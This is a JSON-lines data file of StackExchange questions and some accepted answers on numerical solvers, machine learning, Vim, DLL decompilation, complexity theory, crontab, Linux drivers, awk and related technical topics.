{  "id": "_scicomp.11688"  , "question": "I am curently using R package nleqslv for solving a non-linear system of equations with 300 variables. I need to scale this to the system with ~50k variables and naturally this does not scale very well, since the jacobian then takes up to ~30G of RAM, and I do not have access to a machine with such amount of RAM. The jacobian is a sparse matrix, but nleqslv does not have the ability to exploit this feature. What are available solvers (preferably open source) which can exploit sparsity of the jacobian and can work with large systems?  I've searched around and found lots of software for optimization problems, which does not exactly suit me, since I am reluctant to minimize the sum of squares of the system. I can always hack nleqslv code to use sparse matrices, but first I would like to now what are available ready-made solutions."  , "title": "Solver for large non-linear system of equations"  , "tags": "sparse;libraries;nonlinear equations"  , "accepted_answer": "PETSc is a solver package that has interfaces to a number of different methods for solving sparse linear systems, and many different nonlinear equation solvers (that make use of the linear solvers as subroutines). Although the framework is involved, the flexibility it gives you is worth it.Taking advantage of sparsity and possibly parallelism (if you can decompose the vectors and matrices in your problem appropriately) should help mitigate the memory bottleneck you mentioned because a sparse representation should require less memory, and parallelism should enable you to use memory across multiple machines, with should increase the amount of memory you can use for your simulation runs."  } 
{  "id": "_datascience.19732"  , "question": "[Note : There is some serious problem with logic used to get the best banner. I got it late. Directly read the answer to get general info, or you can also try to the find the mistake.]  Problem: Given a set of user features, select an ad with the highest probability to be clicked.Dataset - https://www.kaggle.com/c/avazu-ctr-prediction/data (First 100000 tuples from training set and split that it 80:20 training:testing)Tutorial followed - https://turi.com/learn/gallery/notebooks/click_through_rate_prediction_intro.htmlC14 is my ad id.Problem :- Given ('device_type', 'C1', 'C15') return ad id.Training:-I have taken 'click' as my target and ('device_type', 'C1', 'C15', 'C14') as my input features.I used logistic regression classifier in graphlab library to train the model.I am doing ad selection in the following way:-Given a set of features ('device_type', 'C1', 'C15', X) Iterate X over all possible values of C14 and pass the features to predictor to get the probability that X ad will be clicked. Return the ad with maximum click probability.MY PROBLEM IS LOGISTIC CLASSIFIER IS ONLY RETURNING ONE AD for every test tuple, though with different click probability, it means only one ad is getting the highest probability to be clicked.  Can anyone explain this observation?When using boosted tree classifier instead of logistic classifier for the above prediction, I am able to get different ads as my prediction and hence getting better results."  , "title": "Explain output of logistic classifier"  , "tags": "machine learning;predictive modeling;logistic regression"  , "accepted_answer": "It means your logistic classifier is biased towards one class, this could be because of below reasons that I can think of.Class Imbalance:  ThisThis article explains how to identify and overcome the class imbalance problem. Overfitting- This article explains how to tackle over fitting.Logistic classifier works better if data is linearly related, if you find non linear relationships in data I would suggest use better algorithms like GBM/SVM/Random forest. Which will give you much better and accurate results.  "  } 
{  "id": "_vi.12797"  , "question": "I want to use yt<anyChar> for yanking and for jumping, so that cursor moves to the first char before <anyChar>. For backward moving this is working by default (after yT<anyChar> cursor moves to the first char after <anyChar> and I even can use ; and , for additional jumps).In my Emacs+Evil config I've done it by simply advising evil-yank function:    (defun evil-yank-after (beg end type register yank-handler)      (if (= (point) beg)        (goto-char (1- end))      (goto-char beg)))    (advice-add #'evil-yank :after #'evil-yank-after)In vim I guess approach is totally different?"  , "title": "Move cursor after yank according to direction"  , "tags": "vimscript;cursor movement"  } 
{  "id": "_reverseengineering.15182"  , "question": "Is there and easy way to decompile a C# DLL (like ILSpy does, for example), but instead of method bodies, have the methods return default values (or throw runtime exceptions for that matter)?Why do I need this? I am trying to replace some classes in a .dll library. I can't decompile the entire library, since it contains many lambda function and iterators that cause problems when decompiled.I had, however, success doing this: Copy the decompiled source of the class I want to change, paste it into a new project and include the original .dll as a library. Then, change the class to my liking (change methods implementation for now), and then compile the project and inject the compiled IL code into the original .dll via a disassembler.This has worked out so far with a success, however now I have run into a problem. The class (let's say A) that I'm trying to change now, passes this as an argument to other classes (let's say B), and it's generating a compile error (since the original B class expects the original A class, and not the fake A class that I'm editing).This, of course, would not be a problem if I had the complete source code to the .dll library, but I don't. Fortunately, I don't have to. If I had a structure-only source code (declarations of classes, fields, methods, interfaces and what not, but no method implemetations), I could copy-paste the source of class A into this sructure-only sorce code, make the changes I need, compile, and then inject the IL code as before.So, can I easily get the sructure-only sorce code (again, method implementation can be eighter returning default value, or throwing runtime exception), or is there a better to replace a class in a .dll library like that?"  , "title": "Decompile C# DLL without method bodies"  , "tags": "disassembly;dll;decompiler;c#"  } 
{  "id": "_cstheory.9237"  , "question": "Would there be any major consequences if SAT had at most subexponential unsat proofs or even more strongly, SAT had subexponential-time algorithms?"  , "title": "Consequences of sub-exponential proofs/algorithms for SAT"  , "tags": "cc.complexity theory;sat;proof complexity"  , "accepted_answer": "If SAT had a subexpoential-time algorithm, the you would disprove the exponential time hypothesis. For fun cosequences: if you showed that circuit SAT over AND,OR,NOT with $n$ variables and $poly(n)$ circuit gates can be solved faster than the trivial $2^n poly(n)$ approach, then by Ryan Williams' paper you show that $NEXP \\not\\subseteq P/poly$."  } 
{  "id": "_cogsci.5559"  , "question": "Developing software is simultaneously artistic and scientific, which accounts for its appeal for some of the smartest and intuitive people on the planetThere is a generally observable and most likely a statistically provable scarcity of women in the programmer community.Would it be right to conclude from this that men are generally more intelligent than women? If so, what's the cause of this? And if not, why?"  , "title": "Does the scarcity of female programmers, suggest that men are more intelligent than women?"  , "tags": "intelligence;sex differences"  , "accepted_answer": "The short answer: No, sex differences in professions is not a good basis for judging the intelligence of males and females.I would like to address some of the assumptions and misconceptions in the question. First, I would like to deconstruct the question, and then answer it.Deconstructing the questionOne of the earlier titles of the question was Are men more intelligent than women?. It starts with the observation that there are more males who work in areas related to mathematics and programming, therefore males are more intelligent.I think this is a common bias in humans. People know a lot about their area of expertise and then judge others by their lack of understanding of what they are experts in. To take a stereotypical example, perhaps a female clinical psychologist, doctor,  or lawyer may wonder why so many males are mathematicians and programmers. She might think that this is because they lack the intelligence to function effectively in domains that require strong interpersonal skills. I am not defending this point of view either. I merely intend to highlight that to judge others by your own standards of what represents intelligence is problematic. Answering the questionHave a read of page 91 of Intelligence: Knowns and Unknowns, which represents the position of a large reputable APA task force of leading intelligence researchers. Summarising a huge literature, males tend to perform much better on visual-spatial intelligence test items such as mental rotation and tracking moving objects. Females often perform better on verbal abilities such as synonym generation and verbal fluency. Overall, there is minimal difference in full-scale IQ.You could also have a read of Hide's (2005) summary of meta-analytic sex differences across a wide range of cognitive tests. Here, the author advances a very different view, the gender  similarities hypothesis, which holds that males and females are  similar on most, but not all, psychological variables.However, this only addresses mean differences, and there is certainly much greater differences within sexes than between.ReferencesNeisser, U., Boodoo, G., Bouchard Jr, T. J., Boykin, A. W., Brody, N., Ceci, S. J., ... & Urbina, S. (1996). Intelligence: Knowns and unknowns. American psychologist, 51(2), 77. PDFHyde, J. S. (2005). The gender similarities hypothesis. American psychologist, 60(6), 581. PDF"  } 
{  "id": "_webapps.51979"  , "question": "Facebook allows subscribers to create Interest List pages and share their existence on the Timeline.How can I go to a Facebook Friend's page and discover all of their public interest lists?"  , "title": "How do I see my Facebook Friends' Public Interest Lists?"  , "tags": "facebook"  } 
{  "id": "_unix.41334"  , "question": "I have three problem, all of them are about crontab.Can I access $HOME variable in crontab ? for example, use $HOME like this:PATH=$HOME/bin:$HOME/scripts:$PATH ? or * * * * * echo test > $HOME/test.txt ?I want let crontab redirect normal stdout to /dev/null, but mail stderr to user. For example, when computer is not connected to network, then an entry in crontab like * 2 * * * getmail -n -q ... will return error, so crontab will send email to user with this error.based on upper example, getmail will let crontab mail user when system is not connected to network, so I want a method to detect whether user is connected to network.About this method of detecting, it should has bellowing:fastsimpleeasy to combine with other crontab jobs, (like use control: &&, ||, | etc)"  , "title": "crontab sets up user variable, redirect output, and detect connetcted network"  , "tags": "networking;cron;environment variables;email"  } 
{  "id": "_scicomp.773"  , "question": "I have heard that some journals are rated more highly than others.  Is this true? And if so, what are the criteria for judging the value of one peer reviewed journal over another?  How do I find out its rating?  Will my publication be of less worth if it is accepted in a less reputable journal than, say, the SIAM Review?"  , "title": "Is there a standard rating system for scientific journal publications?"  , "tags": "publications;journals"  , "accepted_answer": "What factors determine where I will publish a paper? Will the people I want to read this paper see it? If I'm following up on the work of another group (perhaps to show a different viewpoint, sometimes to show algorithmic improvements or to fix problems with a previous paper), I will want to submit the paper to the same journal, even if there's an impact factor issue. As a young computational scientist still in the career development phase of my career, I would submit that there is an additional, and perhaps even more critical aspect to this question. . . .Will people who may be in a position to evaluate me see this paper? I've often spoken with peers in the computational science field about the need to have a home turf: computational science is a highly interdisciplinary field. Unfortunately, we are not really able to be considered as computational scientists when it comes time to be considered for a permanent position. In the absence of working in a computational sciences department, We will have to apply for tenure in an existing department, which usually means that our peers will be other engineers, scientists, and mathematiciansmany of whom do not really have a strong background in computational science. This means that even if you want to go in the cross-fertilizing direction, you still need to focus some of your publications in the go-to journals for your discipline. This is a challenge that many of our peers will not necessarily have to face, and it's an additional complication in our lives. But it's something we have to be aware of before we start working!How much competition do I have right now? The more crowded a field, the more important it is to get the results in early. While it's great to try to go to Nature or Science with every paper out of your group (presuming you're not in pure math, or something similar), being first out of the gate in a hot field matters much more than publishing in the best journal in a field.How important is this paper? A paper that represents a body of work that provides a lot of new data, but not really much in the way of ground-breaking insight, probably doesn't merit going to a top-level journal. It's probably better to look for a reputable journal. However, if you've really found something big, shoot high, so long as you're not worried about the time crunch that affects the big journals. (It can take longer, for instance, to publish in Physical Review Letters than in one of the other Physical Review series, which are of comparable quantity.)After all of these are taken into account, then I'll start worrying about issues like impact factor, but then only as a loose quality control measure. Differences of 10-20% are essentially meaningless, but a 1.0 versus a 2.0, or a 2.0 versus a 3.0, does represent a measurable level of difference between journals. "  } 
{  "id": "_webapps.44593"  , "question": "I'm an IT specialist for a small company in Indianapolis, and we want to switch our email, calendar, and cloud storage (though not hosting or DNS registration YET - one step at a time) to Google Apps for Business.The question is, how?  We're a company in full stride, and can't take three weeks off to transfer all the services.  How do I/is there a way to simply transfer the email at least from GoDaddy to Google Apps?  Is there a way to make sure incoming emails never touch GoDaddy's glacial servers (that's what I'd most like to make sure of)?"  , "title": "GoDaddy -> Google Apps for Business"  , "tags": "email;google apps;google apps email"  , "accepted_answer": "You need to set MX records on your server to do that.http://support.google.com/a/bin/answer.py?hl=en&answer=33353&topic=1611273&ctx=topic"  } 
{  "id": "_codereview.5957"  , "question": "Topic 1: Switching to another form from the project startup formI use the following code that calls an instance of my form for payment (frmPayment) from my startup form (frmMainMenu) using a click event:Private Sub btnPayment_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnPayment.Click, PaymentToolStripMenuItem.Click        Dim frmPaymentX As New frmPayment() 'declare payment form        Me.Visible = False        frmPaymentX.ShowDialog() End SubShould I use something other than Me.Visible = False in handling my startup form (frmMainMenu) during my form switch?Topic 2: Switching back to the startup formLikewise, I use the following code to return to my startup form (frmMainMenu) from my form for payment (frmPayment):Private Sub btnMainMenu_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnMainMenu.Click        frmMainMenu.Show()        Me.Close()End SubShould I directly call my startup form (frmMainMenu) as I am doing in my example or should I be calling an instance of my starup form (frmMainMenu)?I believe that I should use show() and not showdialog() for this.  Is this correct?Should I use something other than Me.Close()?"  , "title": "Switching back and forth between forms"  , "tags": "vb.net;winforms"  , "accepted_answer": "Firstly, I think you need to clarify why you are wanting to show the payment form and hide the main form. In most applications, when you want to show a dialog of some description, you would show it modally (using dialog.ShowDialog()) so that it appears over the top of your current form and prevents the user from interacting with the other form until the opened dialog is closed.Secondly, if you are wanting your current main form and payment dialog as two screens as opposed to a form and a dialog, then you may be better off creating some shell form that can contain a UserControl. You can then build the main form and payment form as two UserControl's and simply switch which is being displayed on your window."  } 
{  "id": "_softwareengineering.99195"  , "question": "Javascript has a feature called Automatic Semicolon Insertion where basically if the parser encounters an invalid token, and the last token before that was a line break, then the parser will insert a semicolon where the linebreak is. This enables you to basically write all your javascript code without semicolons, but you have to be aware of some edge cases, mostly if you  have a return keyword and then the value you want to return on a new line.function test(){    // This will return 'undefined', because return is a valid statement    // and  john is a valid statement on its own.    return           john}Because of these gotchas there are dozens of articles with titles like 'Automatic semicolon insertion is Evil', 'Always use semicolons in Javascript' etc.But in Python no one ever uses semicolons and it has exactly the same gotchas.def test():    # This will return 'undefined', because return is a valid statement    # and  john is a valid statement on its own.    return     johnWorks exactly the same, and yet no-one is deadly afraid of Pythons behaviour. I think the cases where the javascript behaves badly are few enough that you should be able to avoid them easily. Return + value on a new line? Do people really do that a lot? Any opinions? Do you use semicolons in javascript and why?"  , "title": "How does Python's handling of line-breaks differ from JavaScript's automatic semicolons?"  , "tags": "python;javascript"  } 
{  "id": "_webapps.101526"  , "question": "I tried conditional formatting but that changed only cell with date fill in..Or can I somehow extend value of date on another columns because I need to use it for different data and than change the color of based date of cells...Gray Bars are passed and I want them auto-changing by the date"  , "title": "I want change backround color on the cell where is no date, but the change have to be by the date"  , "tags": "google spreadsheets"  } 
{  "id": "_codereview.149693"  , "question": "I just read this post on how to avoid memory leaks with AsyncTask. The post proposed using a WeakReference and supplying a TextView as the object of the WeakReference.In my code, I need to supply multiple parameters to the AsyncTask (not just one as shown in the post). So what I did was create an inner class with the parameters needed in the AsyncTask and use the said class as the object of the WeakReference.private static class AddBooksToDatabase extends AsyncTask<String, String, String> {        private final WeakReference<AddBooksDbParams> mReference;        private String TAG = TownFragment;        Context mContext;        WaveLoadingView waveView;        TextView infoText;        String townName;        File mFile;        public AddBooksToDatabase(AddBooksDbParams params) {            this.mReference = new WeakReference<    >(params);            mContext = mReference.get().mContext;            infoText = mReference.get().infoText;            townName = mReference.get().townName;            mFile = mReference.get().mFile;            waveView = mReference.get().waveView;        }        @Override        protected String doInBackground(String... strings) {            TownHelper helper = TownHelper.getInstance(mContext, dbName);            SQLiteDatabase database = helper.getWritableDatabase();            int booksSize = getFilesInFolder(mFile).size();            //Stuffs            return null;        }        @Override        protected void onPreExecute() {            if (waveView != null) {                waveView.setVisibility(View.VISIBLE);            }        }        @Override        protected void onPostExecute(String s) {            if (waveView != null) {                waveView.setVisibility(View.GONE);            }        }        @Override        protected void onProgressUpdate(String... values) {            super.onProgressUpdate(values);            Log.d(TAG, Progress report =  + values[0]);            infoText.setText(values[0]);        }        @Override        protected void onCancelled() {            cancel(true);        }    }    //Parameters for AddBooksToDatabase. This is to enable holding of a    //single object of this class in WeakReference    private class AddBooksDbParams {        Context mContext;        WaveLoadingView waveView;        TextView infoText;        String townName;        File mFile;        AddBooksDbParams(TextView infoText, Context context, File file,                         String townName, WaveLoadingView waveView) {            this.infoText = infoText;            mContext = context;            mFile = file;            this.townName = townName;            this.waveView = waveView;        }    }When I want to execute the AsyncTask:AddTownsDbParams params = new AddTownsDbParams(infoText, getActivity(), folder, mShelfLabel, mWave);addBooksTask = new AddBooksToDatabase(params).execute();The code is working quite aright but I want to know if I am doing wrong."  , "title": "Class with multiple parameters as the object of a WeakReference"  , "tags": "java;android;weak references"  } 
{  "id": "_unix.278857"  , "question": "I'm using a 32-bit Linux Mint Rosa 17.3 with MATE DE (for the record, the same issue exists on a 64-bit flavor as well, and I have had this issue with every ubuntu-based distro). It is installed on a Fujitsu Siemens Amilo Laptop with 2GB RAM. All updates are installed.The problem is, there is no fan control, either actively or passively. That is, I have no way of controlling the fan speed, and the system doesn't control it either. It's always running at a constant, high speed. There are no overheating problems (temperature monitors are working and report temps at ~58-60C). But the noise is bothering me.What I have done:1) lm-sensors is installed.2) I have run sudo sensors-detect, without anything happening (i.e. it doesn't detect any fans, I only get this:#----cut here----# Chip driverscoretemp#----cut here----Here's the output of sensors:acpitz-virtual-0Adapter: Virtual devicetemp1: +50.8C (crit = +109.8C)coretemp-isa-0000Adapter: ISA adapterCore 0: +48.0C (high = +100.0C, crit = +100.0C)Here's the output of inxi -FxzSystem: Host: chris-AMILO-mint Kernel: 3.19.0-32-generic i686 (32 bit gcc: 4.8.2)Desktop: MATE 1.12.0 (Gtk 3.10.8~8+qiana) Distro: Linux Mint 17.3 RosaMachine: System: FUJITSU SIEMENS product: AMILO Li1705 v: 20Mobo: FUJITSU SIEMENS model: AMILO Li1705 v: 0.4Bios: FUJITSU SIEMENS v: 1.0C-2308-8A20 date: 02/15/2007CPU: Single core Intel Celeron M 520 (-UP-) cache: 1024 KBflags: (lm nx pae sse sse2 sse3 ssse3) bmips: 3191 speed: 1595 MHz (max)Graphics: Card: VIA CN896/VN896/P4M900 [Chrome 9 HC] bus-ID: 01:00.0Display Server: X.Org 1.17.1 drivers: openchrome (unloaded: fbdev,vesa) Resolution: 1280x800@60.0hzGLX Renderer: Gallium 0.4 on llvmpipe (LLVM 3.6, 128 bits)GLX Version: 3.0 Mesa 10.5.9 Direct Rendering: YesAudio: Card VIA VT8237A/VT8251 HDA Controller driver: snd_hda_intel bus-ID: 04:01.0Sound: Advanced Linux Sound Architecture v: k3.19.0-32-genericNetwork: Card-1: VIA VT6102/VT6103 [Rhine-II] driver: via-rhine port: 4800 bus-ID: 00:12.0IF: eth0 state: down mac: <filter>Card-2: Qualcomm Atheros AR2413/AR2414 Wireless Network Adapter [AR5005G(S) 802.11bg]driver: ath5k bus-ID: 05:01.0IF: wlan0 state: up mac: <filter>Drives: HDD Total Size: 160.0GB (8.3% used) ID-1: /dev/sda model: WDC_WD1600BEVS size: 160.0GBPartition: ID-1: / size: 15G used: 7.7G (57%) fs: ext4 dev: /dev/sda2ID-2: swap-1 size: 5.24GB used: 0.00GB (0%) fs: swap dev: /dev/sda5RAID: No RAID devices: /proc/mdstat, md_mod kernel module presentSensors: System Temperatures: cpu: 59.8C mobo: N/AFan Speeds (in rpm): cpu: N/AInfo: Processes: 133 Uptime: 10 min Memory: 457.1/1758.2MB Init: Upstart runlevel: 2 Gcc sys: 4.8.4Client: Shell (bash 4.3.111) inxi: 2.2.28What's going on here?For the record, the laptop fans worked fine (i.e. they are detected and are controllable) when using Windows Vista (also installed)"  , "title": "Yet another fan control problem"  , "tags": "ubuntu;linux mint;fan;sensors"  } 
{  "id": "_unix.287291"  , "question": "Today I downloaded the latest VMware image of Kali Linux (Kali Linux 64 bit VM). After that, I configured the hostname in /etc/hostname and adapted also the /etc/hosts to set permanently a hostname. Then, I executed the following commands:apt-get upgrade && apt-get updatedpkg --add-architecture i386apt-get updateapt-get install wine32apt-get install clamavapt-get install clamav-freshclamand rebooted afterwards. Then, something strange happened. I was no longer able to login with the default credentials root and toor. Although, I did not get the error message Sorry, that didn't work. Please try again., I could not get past the login screen. However, I noticed that I am able to login when selecting GNOME on Wayland and also booting in recovery mode.Any idea what is causing this issue?"  , "title": "Cannot bypass login screen with correct credentials and no errors in Kali Linux"  , "tags": "kali linux;login;root"  } 
{  "id": "_unix.44859"  , "question": "I need to install a compatible video driver on a Fedora machine.The resolution proportion isn't very well and I can't change the brightness and contrast (xbacklight and xgamma) either.Please answer me with a complete solution or a final successfully tutorial.Some information about the system is:$ lspci | grep VGA00:02.0 VGA compatible controller: Intel Corporation 2nd Generation Core Processor Family Integrated Graphics Controller (rev 09)$ cat /etc/issueFedora release 17 (Beefy Miracle)Kernel \\r on an \\m (\\l)"  , "title": "How to install a specific video driver on Fedora?"  , "tags": "fedora;drivers;video"  } 
{  "id": "_cs.40167"  , "question": "Given a directed graph $G = (V, E)$ and an edge $e \\in E$, I'm trying to come up with an algorithm to construct the minimum induced subgraph $H$ of $G$ with the property that every circuit in $G$ that traverses $e$ is in also in $H$.As an example, suppose graph $G$ has vertices $V = \\{1,2,3,4\\}$ and edges $\\{(1,2), (2,1), (2,3), (3,2), (3,1), (2,4), (4,3)\\}$, and $e = (4, 3)$. The subgraph $H$ that the algorithm should output consists of the two circuits $2,4,3,2$ and $2,4,3,1,2$.Of course, this problem can be solved by enumerating all circuits of $G$, but I'm hoping that someone here can come up with something better (that is, with strongly polynomial complexity, in the size of the graph) than that.EDIT: I just found this post that solves the problem for undirected graphs, but it doesn't provide any directions for directed graphs. I don't see a straightforward generalisation to directed graphs from that post."  , "title": "Finding all circuits that contain a given edge"  , "tags": "algorithms;graph theory;graphs;search algorithms"  , "accepted_answer": "It should be NP-complete to compute, given an arc $e = uv$ of a directed graph $D = (V,A)$ whether there is a cycle containing some vertex $w$ using the arc $e$.  The instance to this problem is $(D,e,w)$.By reducing from back-and-forth (two-disjoint paths from $a$ to $b$ and from $b$ to $a$), given an instance $(D',a,b)$ of back-and-forth, construct the instance $D$ where you make two copies of $a$, $a_1$ and $a_2$ and an arc going from $a_1$ to $a_2$.  The constructed instance is $(D,(a_1a_2),b)$.Now, suppose there are two-disjoint paths from $a$ to $b$ and back, then there is a cycle from $a_2$ to $b$ and from $b$ to $a_1$, hence $b$ is on a cycle containing the arc $a_1a_2$.  For the reverse direction suppose that $b$ is on a cycle traversing the arc $a_1a_2$.  Then, in the original graph, there is a path from $a$ to $b$ and one from $b$ to $a$.  qed"  } 
{  "id": "_softwareengineering.52961"  , "question": "This is slightly different to most questions (trying to avoid duplicates)When would you consider not using a framework (i'm talking PHP here for websites) when does one choose pure html/css/jquery over a PHP frameworkIt seems to me that a framework can be a bit bloated in some cases and overkill for certain circumstances, so at what level does a site drop to (in scale, not quality) before its considered OTT to use a PHP framework?"  , "title": "Need for a framework"  , "tags": "web development;php;frameworks"  , "accepted_answer": "Your question should be the other way around.  You should start with no frameworks and then ask, does the time saved with framework X's benefits outweigh its implementation/maintenance costs?   There are definitely cases where a framework contains more overhead than it is worth, in those cases (mostly very simple sites), you are find to do things by hand."  } 
{  "id": "_datascience.15420"  , "question": "Reading some Computer Vision / Machine learning papers, I wonder what I should print and why for validation curves (or report in tables). (I am aware of the fact that error = 1 - accuracy; still, there could be an advantage of reporting one or the other)Tables / Text:Error rate: DenseNet, Inception-v4, AlexNet, DeepFace, GoogleNetAccuracy: Tiramisu, DeepFace, FaceNet, LightenedPlotsError: DenseNet, Inception-v4, AlexNetLoss: DenseNetAccuracy: Dmytro16, LightenedIt seems to me that it depends on the sub-field (e.g. face recognition uses accuracy, object recognition uses error).So my question is: Is there any reason for plotting the accuracy or the error, or is it completely personal preference?(Of course, there are more specialized error metrics which depend on the data set and might be better than either of those two.)ReferencesDenseNetTiramisuInception-v4Dmytro16AlexNetDeepFaceFaceNetLightenedGoogleNet"  , "title": "Should I plot the error or the accuracy for validation curves?"  , "tags": "image classification;accuracy"  } 
{  "id": "_unix.58903"  , "question": "I have a script that runs a series of scripts numbered 001,002,003,004... etc down to 041 right now, will be more in the future - and these scripts them selves use some cursor control to print a progress bar and other status information and get the width and height of the terminal from tput cols and tput lines respectively. Without rewriting the sub-scripts, I would like to reserve one line at the bottom for overall status information for the outer script. I was curious if there was a way to set what tput replies for lines and cols.There must be a way because tmux achieves it. I was thinking there may be an environmental variable but the only change I can see that tmux makes when running env is setting the $TERM to screen.Any help would be greatly appreciated"  , "title": "How to set Cols and Lines for a Subprocess"  , "tags": "shell script;scripting;gnu screen;tmux;subshell"  , "accepted_answer": "The following will let you customize the number of lines and cols tput returnsexport LINES=1000export COLUMNS=1000"  } 
{  "id": "_softwareengineering.114037"  , "question": "I have a method like this in my UI code:void MyDialog::OnCommandSaveData(){    std::list<MyClass*> objects;    service_->GetAll(objects);    dataService_->SaveObjects(objects);    AddMessage(Saved data.\\n);}Because this method can take some time, I want to kick off a thread to do this.  I'm using C++ and I plan on using Boost.Thread.  So my question is how to best do this.  My understanding is that I need to create a static function, static method, or functor which will contain the above code.  Where should this live, in the dialog class?  That just seems wrong, but then again maybe not.And then I will need a mutex and lock around at least the SaveObjects method.  Where should the mutex live and where do I put the lock?Most examples of threading, as with examples of so many things, don't show the threading in the context of a real application.  They show a main method with a global function and that's it.  So if you can point me to example of a class that manages threading for an operation that would be great.I buy the logic in the accepted answer to this question: Is It Wrong/Bad Design To Put A Thread/Background Worker In A Class? However, the answer only tells you why to do it, not how.UPDATEI've refactored my code using MVP (Model View Presenter)/Humble Dialog Box pattern:void MyDialog::OnCommandSaveData(){    presenter_->SaveData();}So now I will need to look at adding multi-threading in the context of MVP.UPDATE 2I found this article which talks about creating mulithreaded winforms using MVP.  It's in C# so I'll have to translate it into C++ but it looks good:http://aresterline.wordpress.com/2007/04/17/multi-threaded-winforms-application-mvp/Basically it involves 1) creating a ThreadSafeView which is a wrapper or proxy around your view that allows your view to be updated from a worker thread. And 2) creating a ThreadedPresenter which allows presenter methods to spawned in a new thread.  I really like how this isolates the threading code from the view and the presenter code."  , "title": "Thread class design?"  , "tags": "design;c++;multithreading;boost"  } 
{  "id": "_unix.144039"  , "question": "Playing around with awk I noticed this behavior:[root@ror6ax3 ~]# grep open * | awk '$2 ~ /opens*/ {print $0}'install.log:Installing openldap-2.4.23-32.el6_4.1.x86_64install.log:Installing openssl-1.0.1e-15.el6.x86_64install.log:Installing openssh-5.3p1-94.el6.x86_64install.log:Installing openssh-clients-5.3p1-94.el6.x86_64install.log:Installing openssh-server-5.3p1-94.el6.x86_64install.log:Installing b43-openfwwf-5.2-4.el6.noarch[root@ror6ax3 ~]# grep open * | awk '$2 ~ /opens */ {print $0}'install.log:Installing openssl-1.0.1e-15.el6.x86_64install.log:Installing openssh-5.3p1-94.el6.x86_64install.log:Installing openssh-clients-5.3p1-94.el6.x86_64install.log:Installing openssh-server-5.3p1-94.el6.x86_64Why would opens* match openldap ? "  , "title": "awk regex matches wrong?"  , "tags": "awk;regular expression"  , "accepted_answer": "* means 0 or more, so effecively 0 or more s characters. There's the documentation here, that says For example, ph*' applies the*' symbol to the preceding h' and looks for matches of onep' followed by any number of h's. This also matches justp' if no `h's are present.In your case, you're doing opens* while you're probably expecting something like opens+, where + means 1 or more. Check out the docs on the + operator here "  } 
{  "id": "_codereview.123222"  , "question": "I need to find the percentile where a list of values is higher than a threshold. I am doing this in the context of optimization, so it important that the answer is precise. I am also trying to minimize compute time. I have a O(n) solution which is not very precise, then I use scipy's minimize optimizer to find the exact solution, which is time-intensive. The numbers in my problem are NOT normally distributed.Is there a more time-efficient way to do this while preserving precision?from scipy.optimize import minimizemy_vals = []threshold_val = 0.065for i in range(60000):    my_vals.append(np.random.normal(0.05, 0.02))count_vals = 0.for i in my_vals:    count_vals += 1    if i > threshold_val: breakpercKnot = 100 * (count_vals/len(my_vals))print minimize(lambda x: abs(np.percentile(my_vals, x[0]) - threshold_val), percKnot, bounds=[[0,100]], method='SLSQP', tol=10e-9).x[0]"  , "title": "Quickly find percentile with high precision"  , "tags": "python;performance;time limit exceeded;numpy"  , "accepted_answer": "Use comprehensionsI understand that my_vals is not necessarily the real data and that you might have other means to generate them, but anyway building a list using append is often an antipattern. Use a list comprehension instead:my_vals = [np.random.normal(0.05, 0.02) for _ in range(60000)]Same for your actual computation, you basically want to count the amount of values lower than the threshold; use a generator expression and feed it to sum:sum(1 if x <= threshold_val else 0 for x in my_vals)This is still \\$O(n)\\$ and will compute the required value right away (after dividing by len(my_vals)).Better is to use int(x <= threshold_val) instead of the ternary. Or even the comparison directly (even if more implicit) since True + True is 2.Use functionsIn order to improve reusability and testing.This also means that you can wrap your demo code into bits that won't necessarily be called every time. For instance:from scipy.optimize import minimizedef compute_percentile(values, threshold):    count = sum(x <= threshold for x in values)    percentage = 100. * count / len(values)    # Improve precision of the percentile    return minimize(lambda x: abs(np.percentile(values, x[0]) - threshold), percentage, bounds=[[0,100]], method='SLSQP', tol=10e-9).x[0]if __name__ == __main__ :    demo_values = [np.random.normal(0.05, 0.02) for _ in range(60000)]    print compute_percentile(demo_values, 0.065)"  } 
{  "id": "_unix.11261"  , "question": "Using mount.cifs on openSUSE 11.3, I'm getting very slow performance on a gigabit network, usually around 4-5MB/s.  The following mount command has yielded me the best performance so far:mount.cifs //server/share /mnt/share -o user=aduser,domain=ADDOMAIN,uid=aduser,nogrp,nobrlWindows 7 on the same network gets almost full gig.What else can I try to make it faster?"  , "title": "mount.cifs is slow"  , "tags": "performance;samba"  } 
{  "id": "_cs.56554"  , "question": "Summing Triples problem is strongly $NP$-complete as shown by McDiarmid.Summing Triples problem:Input: list of 3N distinct positive integersQuestion: Is there a partition of the list into N triples $(a_i, b_i, c_i)$ such that $a_i + b_i= c_i$ for each triple $i$?The condition that all numbers must be distinct makes the problem interesting and McDiarmid calls it a surprisingly troublesome . If the input is a multiset of positive integers, What is the complexity of Summing Triples? Does it remain NP-complete?May be I overlooked an easy reduction from the original problem."  , "title": "What is the time complexity of Summing Triples with duplicates?"  , "tags": "complexity theory;np complete"  } 
{  "id": "_unix.332559"  , "question": "Was reading man page of resolv.conf and meet sortlist.What is the use of it?Man page shows only list of network\\IP addresses after sortlist keyword, not the sorting criterion. How that addresses map to sorting? Searched material about this question, did not found answer, though."  , "title": "What is the use of sortlist option in /etc/resolv.conf?"  , "tags": "dns;resolv.conf"  , "accepted_answer": "sortlist is used to move matching IP addresses in DNS responses to the front of the result list with the intention that applications will use them preferentially. It's a bit obsolete though. Nowadays we have better a standard for that, in the form of RFC 3484 (see section 6).RFC 3484 is much better than the sortlist hack better because:It supports IPv6 [better].It takes source address selection into account.It's not specific to DNS (it's hooked into the libc name service, a layer above).It's a standard.RFC 3484 style destination address selection is configured in /etc/gai.conf."  } 
{  "id": "_unix.264929"  , "question": "I have a text file containing below:title1 A1title3 A3title4 A4title5 A5  title1 B1title2 B2title5 B5  title1 C1title2 C2title4 C4title5 C5  title1 D1title2 D2title3 D3  I would like to have an output like below: title1      title2       title3        title4      title5    A1                        A3           A4          A5    B1           B2                                    B5    C1           C2                        C4          C5    D1           D2           D3                        Could you please let me know how can I write a piece of code using AWK?Thanks in advance!"  , "title": "Transposing rows into columns in absence of few rows using AWK"  , "tags": "awk"  } 
